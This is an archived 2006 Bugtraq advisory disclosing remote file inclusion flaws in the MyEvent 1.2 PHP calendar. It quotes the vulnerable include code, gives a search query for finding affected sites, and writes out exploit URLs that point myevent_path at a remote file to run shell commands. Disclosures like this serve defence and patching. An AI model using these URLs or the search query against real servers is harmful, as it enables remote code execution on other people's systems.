bugtraq - MyEvent Remote File Execution And XSS Attacking

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20060416184204.2722.qmail@securityfocus.com>
Date: 16 Apr 2006 18:42:04 -0000
From: botan@...uxmail.org
To: bugtraq@...urityfocus.com
Subject: MyEvent Remote File Execution And XSS Attacking


Website : http://mywebland.com/
Script : MyEvent 
Version : 1.2
Risk : High
Class : Remote 
Credits : b3g0k,Nistiman,flot,Netqurd etc.. my forget other friends
Google look for :) = "MyEvent 1.2 " or "/calendar/myevent.php"

I. Remote Code Execution 

This is script to very big high it bug being found. 

"Event.php" remote code execution :

global $myevent_path;

include_once $myevent_path."includes/template.php";
$template = new Template($myevent_path."templates/") ;
$template->set_filenames(array(
'event' => 'event.tpl',
?>

Did you see the "myevent_path" :) 


http://www.site.com/[path]/event.php?myevent_path=http://www.site.com/x.txt?&cmd=uname -a

"&#304;nitialize.php" Remote Code :

include $myevent_path."config.php";
include $myevent_path.$language;
include_once $myevent_path."includes/template.php" ;

$db = mysql_connect($host,$login,$password);
mysql_select_db($base,$db);
>

Yep now code

http://www.site.com/[path]/initialize.php?myevent_path=http://www.site.com/x.txt?&cmd=uname -a